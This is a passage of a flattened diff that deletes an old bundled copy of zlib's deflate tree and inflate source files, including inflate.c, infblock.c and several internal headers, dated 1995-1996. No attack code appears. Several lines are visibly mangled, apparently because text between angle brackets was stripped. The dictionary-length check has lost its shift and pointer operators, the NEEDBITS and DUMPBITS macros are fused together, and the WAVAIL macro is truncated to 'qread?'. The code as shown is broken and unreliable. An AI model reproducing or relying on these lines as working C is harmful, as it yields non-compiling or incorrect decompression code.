*/ -local void set_data_type(s) - deflate_state *s; -{ - int n = 0; - unsigned ascii_freq = 0; - unsigned bin_freq = 0; - while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; - while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; - while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; - s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); -} - -/* =========================================================================== - * Reverse the first len bits of a code, using straightforward code (a faster - * method would use a table) - * IN assertion: 1 <= len <= 15 - */ -local unsigned bi_reverse(code, len) - unsigned code; /* the value to invert */ - int len; /* its bit length */ -{ - register unsigned res = 0; - do { - res |= code & 1; - code >>= 1, res <<= 1; - } while (--len > 0); - return res >> 1; -} - -/* =========================================================================== - * Flush the bit buffer, keeping at most 7 bits in it. - */ -local void bi_flush(s) - deflate_state *s; -{ - if (s->bi_valid == 16) { - put_short(s, s->bi_buf); - s->bi_buf = 0; - s->bi_valid = 0; - } else if (s->bi_valid >= 8) { - put_byte(s, (Byte)s->bi_buf); - s->bi_buf >>= 8; - s->bi_valid -= 8; - } -} - -/* =========================================================================== - * Flush the bit buffer and align the output on a byte boundary - */ -local void bi_windup(s) - deflate_state *s; -{ - if (s->bi_valid > 8) { - put_short(s, s->bi_buf); - } else if (s->bi_valid > 0) { - put_byte(s, (Byte)s->bi_buf); - } - s->bi_buf = 0; - s->bi_valid = 0; -#ifdef DEBUG_ZLIB - s->bits_sent = (s->bits_sent+7) & ~7; -#endif -} - -/* =========================================================================== - * Copy a stored block, storing first the length and its - * one's complement if requested. - */ -local void copy_block(s, buf, len, header) - deflate_state *s; - charf *buf; /* the input data */ - unsigned len; /* its length */ - int header; /* true if block header must be written */ -{ - bi_windup(s); /* align on byte boundary */ - s->last_eob_len = 8; /* enough lookahead for inflate */ - - if (header) { - put_short(s, (ush)len); - put_short(s, (ush)~len); -#ifdef DEBUG_ZLIB - s->bits_sent += 2*16; -#endif - } -#ifdef DEBUG_ZLIB - s->bits_sent += (ulg)len<<3; -#endif - /* bundle up the put_byte(s, *buf++) calls */ - zmemcpy(&s->pending_buf[s->pending], buf, len); - s->pending += len; -} -/* --- trees.c */ - -/* +++ inflate.c */ -/* inflate.c -- zlib interface to inflate modules - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ - -/* +++ infblock.h */ -/* infblock.h -- header to use infblock.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_blocks_state; -typedef struct inflate_blocks_state FAR inflate_blocks_statef; - -extern inflate_blocks_statef * inflate_blocks_new OF(( - z_streamp z, - check_func c, /* check function */ - uInt w)); /* window size */ - -extern int inflate_blocks OF(( - inflate_blocks_statef *, - z_streamp , - int)); /* initial return code */ - -extern void inflate_blocks_reset OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern int inflate_blocks_free OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern void inflate_set_dictionary OF(( - inflate_blocks_statef *s, - const Bytef *d, /* dictionary */ - uInt n)); /* dictionary length */ - -extern int inflate_addhistory OF(( - inflate_blocks_statef *, - z_streamp)); - -extern int inflate_packet_flush OF(( - inflate_blocks_statef *)); -/* --- infblock.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ -#endif - -/* inflate private state */ -struct internal_state { - - /* mode */ - enum { - METHOD, /* waiting for method byte */ - FLAG, /* waiting for flag byte */ - DICT4, /* four dictionary check bytes to go */ - DICT3, /* three dictionary check bytes to go */ - DICT2, /* two dictionary check bytes to go */ - DICT1, /* one dictionary check byte to go */ - DICT0, /* waiting for inflateSetDictionary */ - BLOCKS, /* decompressing blocks */ - CHECK4, /* four check bytes to go */ - CHECK3, /* three check bytes to go */ - CHECK2, /* two check bytes to go */ - CHECK1, /* one check byte to go */ - DONE, /* finished check, done */ - BAD} /* got an error--stay here */ - mode; /* current inflate mode */ - - /* mode dependent information */ - union { - uInt method; /* if FLAGS, method byte */ - struct { - uLong was; /* computed check value */ - uLong need; /* stream check value */ - } check; /* if CHECK, check values to compare */ - uInt marker; /* if BAD, inflateSync's marker bytes count */ - } sub; /* submode */ - - /* mode independent information */ - int nowrap; /* flag for no wrapper */ - uInt wbits; /* log2(window size) (8..15, defaults to 15) */ - inflate_blocks_statef - *blocks; /* current inflate_blocks state */ - -}; - - -int inflateReset(z) -z_streamp z; -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - z->total_in = z->total_out = 0; - z->msg = Z_NULL; - z->state->mode = z->state->nowrap ? BLOCKS : METHOD; - inflate_blocks_reset(z->state->blocks, z, &c); - Trace((stderr, "inflate: reset\n")); - return Z_OK; -} - - -int inflateEnd(z) -z_streamp z; -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->blocks != Z_NULL) - inflate_blocks_free(z->state->blocks, z, &c); - ZFREE(z, z->state); - z->state = Z_NULL; - Trace((stderr, "inflate: end\n")); - return Z_OK; -} - - -int inflateInit2_(z, w, version, stream_size) -z_streamp z; -int w; -const char *version; -int stream_size; -{ - if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || - stream_size != sizeof(z_stream)) - return Z_VERSION_ERROR; - - /* initialize state */ - if (z == Z_NULL) - return Z_STREAM_ERROR; - z->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (z->zalloc == Z_NULL) - { - z->zalloc = zcalloc; - z->opaque = (voidpf)0; - } - if (z->zfree == Z_NULL) z->zfree = zcfree; -#endif - if ((z->state = (struct internal_state FAR *) - ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) - return Z_MEM_ERROR; - z->state->blocks = Z_NULL; - - /* handle undocumented nowrap option (no zlib header or check) */ - z->state->nowrap = 0; - if (w < 0) - { - w = - w; - z->state->nowrap = 1; - } - - /* set window size */ - if (w < 8 || w > 15) - { - inflateEnd(z); - return Z_STREAM_ERROR; - } - z->state->wbits = (uInt)w; - - /* create inflate_blocks state */ - if ((z->state->blocks = - inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) - == Z_NULL) - { - inflateEnd(z); - return Z_MEM_ERROR; - } - Trace((stderr, "inflate: allocated\n")); - - /* reset state */ - inflateReset(z); - return Z_OK; -} - - -int inflateInit_(z, version, stream_size) -z_streamp z; -const char *version; -int stream_size; -{ - return inflateInit2_(z, DEF_WBITS, version, stream_size); -} - - -#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} -#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) - -int inflate(z, f) -z_streamp z; -int f; -{ - int r; - uInt b; - - if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) - return Z_STREAM_ERROR; - r = Z_BUF_ERROR; - while (1) switch (z->state->mode) - { - case METHOD: - NEEDBYTE - if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) - { - z->state->mode = BAD; - z->msg = (char*)"unknown compression method"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - if ((z->state->sub.method >> 4) + 8 > z->state->wbits) - { - z->state->mode = BAD; - z->msg = (char*)"invalid window size"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - z->state->mode = FLAG; - case FLAG: - NEEDBYTE - b = NEXTBYTE; - if (((z->state->sub.method << 8) + b) % 31) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect header check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib header ok\n")); - if (!(b & PRESET_DICT)) - { - z->state->mode = BLOCKS; - break; - } - z->state->mode = DICT4; - case DICT4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = DICT3; - case DICT3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = DICT2; - case DICT2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = DICT1; - case DICT1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - z->adler = z->state->sub.check.need; - z->state->mode = DICT0; - return Z_NEED_DICT; - case DICT0: - z->state->mode = BAD; - z->msg = (char*)"need dictionary"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_STREAM_ERROR; - case BLOCKS: - r = inflate_blocks(z->state->blocks, z, r); - if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) - r = inflate_packet_flush(z->state->blocks); - if (r == Z_DATA_ERROR) - { - z->state->mode = BAD; - z->state->sub.marker = 0; /* can try inflateSync */ - break; - } - if (r != Z_STREAM_END) - return r; - r = Z_OK; - inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); - if (z->state->nowrap) - { - z->state->mode = DONE; - break; - } - z->state->mode = CHECK4; - case CHECK4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = CHECK3; - case CHECK3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = CHECK2; - case CHECK2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = CHECK1; - case CHECK1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - - if (z->state->sub.check.was != z->state->sub.check.need) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect data check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib check ok\n")); - z->state->mode = DONE; - case DONE: - return Z_STREAM_END; - case BAD: - return Z_DATA_ERROR; - default: - return Z_STREAM_ERROR; - } - - empty: - if (f != Z_PACKET_FLUSH) - return r; - z->state->mode = BAD; - z->msg = (char *)"need more for packet flush"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_DATA_ERROR; -} - - -int inflateSetDictionary(z, dictionary, dictLength) -z_streamp z; -const Bytef *dictionary; -uInt dictLength; -{ - uInt length = dictLength; - - if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) - return Z_STREAM_ERROR; - - if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; - z->adler = 1L; - - if (length >= ((uInt)1<state->wbits)) - { - length = (1<state->wbits)-1; - dictionary += dictLength - length; - } - inflate_set_dictionary(z->state->blocks, dictionary, length); - z->state->mode = BLOCKS; - return Z_OK; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ - -int inflateIncomp(z) -z_stream *z; -{ - if (z->state->mode != BLOCKS) - return Z_DATA_ERROR; - return inflate_addhistory(z->state->blocks, z); -} - - -int inflateSync(z) -z_streamp z; -{ - uInt n; /* number of bytes to look at */ - Bytef *p; /* pointer to bytes */ - uInt m; /* number of marker bytes found in a row */ - uLong r, w; /* temporaries to save total_in and total_out */ - - /* set up */ - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->mode != BAD) - { - z->state->mode = BAD; - z->state->sub.marker = 0; - } - if ((n = z->avail_in) == 0) - return Z_BUF_ERROR; - p = z->next_in; - m = z->state->sub.marker; - - /* search */ - while (n && m < 4) - { - if (*p == (Byte)(m < 2 ? 0 : 0xff)) - m++; - else if (*p) - m = 0; - else - m = 4 - m; - p++, n--; - } - - /* restore */ - z->total_in += p - z->next_in; - z->next_in = p; - z->avail_in = n; - z->state->sub.marker = m; - - /* return no joy or set up to restart on a new block */ - if (m != 4) - return Z_DATA_ERROR; - r = z->total_in; w = z->total_out; - inflateReset(z); - z->total_in = r; z->total_out = w; - z->state->mode = BLOCKS; - return Z_OK; -} - -#undef NEEDBYTE -#undef NEXTBYTE -/* --- inflate.c */ - -/* +++ infblock.c */ -/* infblock.c -- interpret and process block types to last block - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ - -/* +++ inftrees.h */ -/* inftrees.h -- header to use inftrees.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* Huffman code lookup table entry--this entry is four bytes for machines - that have 16-bit pointers (e.g. PC's in the small or medium model). */ - -typedef struct inflate_huft_s FAR inflate_huft; - -struct inflate_huft_s { - union { - struct { - Byte Exop; /* number of extra bits or operation */ - Byte Bits; /* number of bits in this code or subcode */ - } what; - Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ - } word; /* 16-bit, 8 bytes for 32-bit machines) */ - union { - uInt Base; /* literal, length base, or distance base */ - inflate_huft *Next; /* pointer to next level of table */ - } more; -}; - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif - -extern int inflate_trees_bits OF(( - uIntf *, /* 19 code lengths */ - uIntf *, /* bits tree desired/actual depth */ - inflate_huft * FAR *, /* bits tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_dynamic OF(( - uInt, /* number of literal/length codes */ - uInt, /* number of distance codes */ - uIntf *, /* that many (total) code lengths */ - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *, /* distance tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_fixed OF(( - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *)); /* distance tree result */ - -extern int inflate_trees_free OF(( - inflate_huft *, /* tables to free */ - z_streamp )); /* for zfree function */ - -/* --- inftrees.h */ - -/* +++ infcodes.h */ -/* infcodes.h -- header to use infcodes.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_codes_state; -typedef struct inflate_codes_state FAR inflate_codes_statef; - -extern inflate_codes_statef *inflate_codes_new OF(( - uInt, uInt, - inflate_huft *, inflate_huft *, - z_streamp )); - -extern int inflate_codes OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -extern void inflate_codes_free OF(( - inflate_codes_statef *, - z_streamp )); - -/* --- infcodes.h */ - -/* +++ infutil.h */ -/* infutil.h -- types and macros common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -#ifndef _INFUTIL_H -#define _INFUTIL_H - -typedef enum { - TYPE, /* get type bits (3, including end bit) */ - LENS, /* get lengths for stored */ - STORED, /* processing stored block */ - TABLE, /* get table lengths */ - BTREE, /* get bit lengths tree for a dynamic block */ - DTREE, /* get length, distance trees for a dynamic block */ - CODES, /* processing fixed or dynamic block */ - DRY, /* output remaining window bytes */ - DONEB, /* finished last block, done */ - BADB} /* got a data error--stuck here */ -inflate_block_mode; - -/* inflate blocks semi-private state */ -struct inflate_blocks_state { - - /* mode */ - inflate_block_mode mode; /* current inflate_block mode */ - - /* mode dependent information */ - union { - uInt left; /* if STORED, bytes left to copy */ - struct { - uInt table; /* table lengths (14 bits) */ - uInt index; /* index into blens (or border) */ - uIntf *blens; /* bit lengths of codes */ - uInt bb; /* bit length tree depth */ - inflate_huft *tb; /* bit length decoding tree */ - } trees; /* if DTREE, decoding info for trees */ - struct { - inflate_huft *tl; - inflate_huft *td; /* trees to free */ - inflate_codes_statef - *codes; - } decode; /* if CODES, current state */ - } sub; /* submode */ - uInt last; /* true if this block is the last block */ - - /* mode independent information */ - uInt bitk; /* bits in bit buffer */ - uLong bitb; /* bit buffer */ - Bytef *window; /* sliding window */ - Bytef *end; /* one byte after sliding window */ - Bytef *read; /* window read pointer */ - Bytef *write; /* window write pointer */ - check_func checkfn; /* check function */ - uLong check; /* check on output */ - -}; - - -/* defines for inflate input/output */ -/* update pointers and return */ -#define UPDBITS {s->bitb=b;s->bitk=k;} -#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;} -#define UPDOUT {s->write=q;} -#define UPDATE {UPDBITS UPDIN UPDOUT} -#define LEAVE {UPDATE return inflate_flush(s,z,r);} -/* get bytes and bits */ -#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} -#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} -#define NEXTBYTE (n--,*p++) -#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} -/* output bytes */ -#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) -#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} -#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} -#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} -#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} -#define OUTBYTE(a) {*q++=(Byte)(a);m--;} -/* load local pointers */ -#define LOAD {LOADIN LOADOUT} - -/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ -extern uInt inflate_mask[17]; - -/* copy as much as possible from the sliding window to the output area */ -extern int inflate_flush OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#endif -/* --- infutil.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* Table for deflate from PKZIP's appnote.txt. */ -local const uInt border[] = { /* Order of the bit length code lengths */ - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; - -/* - Notes beyond the 1.93a appnote.txt: - - 1. Distance pointers never point before the beginning of the output - stream. - 2. Distance pointers can point back across blocks, up to 32k away. - 3. There is an implied maximum of 7 bits for the bit length table and - 15 bits for the actual data. - 4. If only one code exists, then it is encoded using one bit. (Zero - would be more efficient, but perhaps a little confusing.) If two - codes exist, they are coded using one bit each (0 and 1). - 5. There is no way of sending zero distance codes--a dummy must be - sent if there are none. (History: a pre 2.0 version of PKZIP would - store blocks with no distance codes, but this was discovered to be - too harsh a criterion.) Valid only for 1.93a. 2.04c does allow - zero distance codes, which is sent as one code of zero bits in - length. - 6. There are up to 286 literal/length codes. Code 256 represents the - end-of-block. Note however that the static length tree defines - 288 codes just to fill out the Huffman codes. Codes 286 and 287 - cannot be used though, since there is no length base or extra bits - defined for them. Similarily, there are up to 30 distance codes. - However, static trees define 32 codes (all 5 bits) to fill out the - Huffman codes, but the last two had better not show up in the data. - 7. Unzip can check dynamic Huffman blocks for complete code sets. - The exception is that a single code would not be complete (see #4). - 8. The five bits following the block type is really the number of - literal codes sent minus 257. - 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits - (1+6+6). Therefore, to output three times the length, you output - three codes (1+1+1), whereas to output four times the same length, - you only need two codes (1+3). Hmm. - 10. In the tree reconstruction algorithm, Code = Code + Increment - only if BitLength(i) is not zero. (Pretty obvious.) - 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) - 12. Note: length code 284 can represent 227-258, but length code 285 - really is 258. The last length deserves its own, short code - since it gets used a lot in very redundant files. The length - 258 is special since 258 - 3 (the min match length) is 255. - 13. The literal/length and distance code bit lengths are read as a - single stream of lengths. It is possible (and advantageous) for - a repeat code (16, 17, or 18) to go across the boundary between - the two sets of lengths. - */ - - -void inflate_blocks_reset(s, z, c) -inflate_blocks_statef *s; -z_streamp z; -uLongf *c; -{ - if (s->checkfn != Z_NULL) - *c = s->check; - if (s->mode == BTREE || s->mode == DTREE) - ZFREE(z, s->sub.trees.blens); - if (s->mode == CODES) - { - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - } - s->mode = TYPE; - s->bitk = 0; - s->bitb = 0; - s->read = s->write = s->window; - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); - Trace((stderr, "inflate: blocks reset\n")); -} - - -inflate_blocks_statef *inflate_blocks_new(z, c, w) -z_streamp z; -check_func c; -uInt w; -{ - inflate_blocks_statef *s; - - if ((s = (inflate_blocks_statef *)ZALLOC - (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) - return s; - if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) - { - ZFREE(z, s); - return Z_NULL; - } - s->end = s->window + w; - s->checkfn = c; - s->mode = TYPE; - Trace((stderr, "inflate: blocks allocated\n")); - inflate_blocks_reset(s, z, &s->check); - return s; -} - - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif -int inflate_blocks(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt t; /* temporary storage */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input based on current state */ - while (1) switch (s->mode) - { - case TYPE: - NEEDBITS(3) - t = (uInt)b & 7; - s->last = t & 1; - switch (t >> 1) - { - case 0: /* stored */ - Trace((stderr, "inflate: stored block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - t = k & 7; /* go to byte boundary */ - DUMPBITS(t) - s->mode = LENS; /* get length of stored block */ - break; - case 1: /* fixed */ - Trace((stderr, "inflate: fixed codes block%s\n", - s->last ? " (last)" : "")); - { - uInt bl, bd; - inflate_huft *tl, *td; - - inflate_trees_fixed(&bl, &bd, &tl, &td); - s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); - if (s->sub.decode.codes == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - s->sub.decode.tl = Z_NULL; /* don't try to free these */ - s->sub.decode.td = Z_NULL; - } - DUMPBITS(3) - s->mode = CODES; - break; - case 2: /* dynamic */ - Trace((stderr, "inflate: dynamic codes block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - s->mode = TABLE; - break; - case 3: /* illegal */ - DUMPBITS(3) - s->mode = BADB; - z->msg = (char*)"invalid block type"; - r = Z_DATA_ERROR; - LEAVE - } - break; - case LENS: - NEEDBITS(32) - if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) - { - s->mode = BADB; - z->msg = (char*)"invalid stored block lengths"; - r = Z_DATA_ERROR; - LEAVE - } - s->sub.left = (uInt)b & 0xffff; - b = k = 0; /* dump bits */ - Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); - s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); - break; - case STORED: - if (n == 0) - LEAVE - NEEDOUT - t = s->sub.left; - if (t > n) t = n; - if (t > m) t = m; - zmemcpy(q, p, t); - p += t; n -= t; - q += t; m -= t; - if ((s->sub.left -= t) != 0) - break; - Tracev((stderr, "inflate: stored end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - s->mode = s->last ? DRY : TYPE; - break; - case TABLE: - NEEDBITS(14) - s->sub.trees.table = t = (uInt)b & 0x3fff; -#ifndef PKZIP_BUG_WORKAROUND - if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) - { - s->mode = BADB; - z->msg = (char*)"too many length or distance symbols"; - r = Z_DATA_ERROR; - LEAVE - } -#endif - t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); - if (t < 19) - t = 19; - if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - DUMPBITS(14) - s->sub.trees.index = 0; - Tracev((stderr, "inflate: table sizes ok\n")); - s->mode = BTREE; - case BTREE: - while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) - { - NEEDBITS(3) - s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; - DUMPBITS(3) - } - while (s->sub.trees.index < 19) - s->sub.trees.blens[border[s->sub.trees.index++]] = 0; - s->sub.trees.bb = 7; - t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, - &s->sub.trees.tb, z); - if (t != Z_OK) - { - r = t; - if (r == Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - LEAVE - } - s->sub.trees.index = 0; - Tracev((stderr, "inflate: bits tree ok\n")); - s->mode = DTREE; - case DTREE: - while (t = s->sub.trees.table, - s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) - { - inflate_huft *h; - uInt i, j, c; - - t = s->sub.trees.bb; - NEEDBITS(t) - h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); - t = h->word.what.Bits; - c = h->more.Base; - if (c < 16) - { - DUMPBITS(t) - s->sub.trees.blens[s->sub.trees.index++] = c; - } - else /* c == 16..18 */ - { - i = c == 18 ? 7 : c - 14; - j = c == 18 ? 11 : 3; - NEEDBITS(t + i) - DUMPBITS(t) - j += (uInt)b & inflate_mask[i]; - DUMPBITS(i) - i = s->sub.trees.index; - t = s->sub.trees.table; - if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || - (c == 16 && i < 1)) - { - inflate_trees_free(s->sub.trees.tb, z); - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - z->msg = (char*)"invalid bit length repeat"; - r = Z_DATA_ERROR; - LEAVE - } - c = c == 16 ? s->sub.trees.blens[i - 1] : 0; - do { - s->sub.trees.blens[i++] = c; - } while (--j); - s->sub.trees.index = i; - } - } - inflate_trees_free(s->sub.trees.tb, z); - s->sub.trees.tb = Z_NULL; - { - uInt bl, bd; - inflate_huft *tl, *td; - inflate_codes_statef *c; - - bl = 9; /* must be <= 9 for lookahead assumptions */ - bd = 6; /* must be <= 9 for lookahead assumptions */ - t = s->sub.trees.table; -#ifdef DEBUG_ZLIB - inflate_hufts = 0; -#endif - t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), - s->sub.trees.blens, &bl, &bd, &tl, &td, z); - if (t != Z_OK) - { - if (t == (uInt)Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - r = t; - LEAVE - } - Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", - inflate_hufts, sizeof(inflate_huft))); - if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) - { - inflate_trees_free(td, z); - inflate_trees_free(tl, z); - r = Z_MEM_ERROR; - LEAVE - } - /* - * this ZFREE must occur *BEFORE* we mess with sub.decode, because - * sub.trees is union'd with sub.decode. - */ - ZFREE(z, s->sub.trees.blens); - s->sub.decode.codes = c; - s->sub.decode.tl = tl; - s->sub.decode.td = td; - } - s->mode = CODES; - case CODES: - UPDATE - if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) - return inflate_flush(s, z, r); - r = Z_OK; - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - LOAD - Tracev((stderr, "inflate: codes end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - if (!s->last) - { - s->mode = TYPE; - break; - } - if (k > 7) /* return unused byte, if any */ - { - Assert(k < 16, "inflate_codes grabbed too many bytes") - k -= 8; - n++; - p--; /* can always return one */ - } - s->mode = DRY; - case DRY: - FLUSH - if (s->read != s->write) - LEAVE - s->mode = DONEB; - case DONEB: - r = Z_STREAM_END; - LEAVE - case BADB: - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -int inflate_blocks_free(s, z, c) -inflate_blocks_statef *s; -z_streamp z; -uLongf *c; -{ - inflate_blocks_reset(s, z, c); - ZFREE(z, s->window); - ZFREE(z, s); - Trace((stderr, "inflate: blocks freed\n")); - return Z_OK; -} - - -void inflate_set_dictionary(s, d, n) -inflate_blocks_statef *s; -const Bytef *d; -uInt n; -{ - zmemcpy((charf *)s->window, d, n); - s->read = s->write = s->window + n; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ -int inflate_addhistory(s, z) -inflate_blocks_statef *s; -z_stream *z; -{ - uLong b; /* bit buffer */ /* NOT USED HERE */ - uInt k; /* bits in bit buffer */ /* NOT USED HERE */ - uInt t; /* temporary storage */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - if (s->read != s->write) - return Z_STREAM_ERROR; - if (s->mode != TYPE) - return Z_DATA_ERROR; - - /* we're ready to rock */ - LOAD - /* while there is input ready, 